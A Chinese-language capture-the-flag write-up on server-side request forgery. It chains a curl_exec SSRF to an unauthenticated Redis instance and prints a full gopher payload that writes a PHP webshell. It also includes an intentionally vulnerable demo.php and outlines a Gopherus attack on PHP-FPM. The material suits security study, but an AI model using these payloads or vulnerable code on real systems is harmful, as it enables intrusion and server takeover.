目录
ssrf简介SSRF(Server-Side Request Forgery:服务器端请求伪造)
ssrf简介
SSRF(Server-Side Request Forgery:服务器端请求伪造)
其形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能,但又没有对目标地址做严格过滤与限制,导致攻击者可以传入任意的地址来让后端服务器对其发起请求,并返回对该目标地址请求的数据。
SSRF题1
前期介绍
redis的未授权访问
在以前90%的人不会设置redis的密码和保护模式,那么就可以做一下事情:
1、写入webshell(前提:知道物理路径)
2、写任务计划,反弹shell
3、写入公钥,直接登录服务器(危害最大)
方法1:ssrf+redis写入webshell
先将web-ssrfme使用docker起起来,访问8091端口
很明显有curl_exec()函数,是ssrf,但可以看到他将'file','dict','127.0.0.1','localhost'都过滤掉了,他的想法是阻止我们访问内网的端口和内网的文件数据,
curl_exec()函数:官方文档介绍
我们可以看到这个只要有info参数就可以看phpinfo信息,先看一下,能不能有我们想要的信息
可以看到这块的本地ip地址暴露出来,那么就绕过了127.0.0.1和localhost了,我们用http协议先试下能不能探测出端口,因为探测端口我们在前端看不出什么信息,那使用bp快速爆破下,查看报文的长度看能否爆出一些信息
扫ip:端口
bp:可以看到只有80端口有回应,这对我们的作用并不大
接着想,在真实项目中,不太可能只有一台主机,在一个内网中是有很多主机,并且地址也是同网段或者连续的,既然这个主机没有我们找到漏洞,那我们扫一下有没有别的主机就行
除了172.18.0.3还有一台0.2的主机,那么接下来看看0.2有哪些端口会让我们利用到
ok,172.18.0.2的redis的6379端口是开放的,这就很重要了,这块就是ssrf和redis的漏洞结合去利用实现了
使用工具写木马
那么接下来就传webshell就可以了,在172.21.0.2的物理路径下传webshell,那么他的物理路径是啥,说实话,不知道,只能猜或者测试
一般情况下,都是放在/var/www/html下面,但不保证他会不会改,一般都是怕麻烦不会改的
接下来就可以用gopher工具了:
这个gopher工具可以再github上自行下载使用
链接地址:gopher工具
选择默认的路径“/var/www/html”,输入PHP Shell ,随便输个一句话木马<?php phpinfo();
查看一下能否执行,能植入成功那么就代表能够入侵——入侵成功
我们可以先看一下他写入的内容是什么
发现是写入一个shell.php文件
回车之后发现浏览器执行的很快,几乎是没反应,大概率是失败,想了一下可能是因为get传参,url自动解码后再执行curl_exec时还需要在解码一次,所以我们编码后再试一次
那么我们在页面中按回车运行试试
但是结果不尽人意,页面没有如何变化,或许shell.php根本没有写入,也许是我们猜错了目录或者没有权限(权限太低了),不管怎样,都是没有成功
我们可以自己建一个字典或者用百度的字典来扫秒一下有没有upload或者uploads之类的目录
然后我们再改一下路径(这块猜直接用upload目录),继续:
二次编码后再试一下
payload
?url=gopher://172.18.0.2:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2422%0D%0A%0A%0A%3C%3Fphp%20phpinfo%28%29%3B%3F%3E%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2420%0D%0A/var/www/html/upload%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A
在访问upload/shell.php
ok,成功执行,接下来只需要修改一句话木马里的内容即可
这是题,所以我们的目标是拿falg,只修修改命令即可
flag拿到!!
SSRF题2
ssrf+fastcgi未授权访问写入webshell
环境搭建:
自行在ubuntu上搭建
环境条件:nginx+php7.3+ php7.3-fpm版本的成功复现
在nginx的网站目录下创建demo.php
<?php
highlight_file(__FILE__);
$url = $_GET['url'];
$curl = curl_init($url);
curl_setopt($curl, CURLOPT_HEADER, 0);
$responseText = curl_exec($curl);
echo $responseText;
curl_close($curl);
?>
攻击:
先传参看看
看代码和题1还是差不多的
但是测试他fastcgi的9000端口的时候检测不出来,扫描端口时没有任何反应,(因为9000端口是监听在127.0.0.1上的,扫不到是必然的)
但是通过看http的response返回值可以看到中间件是nginx,那么大概率就是9000端口,知道是fpm,因为fpm基本上90%都监听在9000端口上(因为nginx基本都是搭配fpm)
http的返回值
既然知道了ssrf,还知道了他用的fastcgi,那么我们先直接使用gopherus工具打一下
我们可以看下他这个payload干了什么,
可以看到他先将 KPHP_VALUEallow_url_include = On ,从而使我们可以使用php://input
伪协议读取我们的数据流然后进行执行命令
当然在这块我们还是要进行二次编码的
但是我在这遇到了问题,就是一直没有回显,刚开始我以为是目录或者文件权限的原因,但是将权限修改为www-data后,还是没有回显,在这现在卡住了,再是没有解决
下面以其他人成功的结果为例展示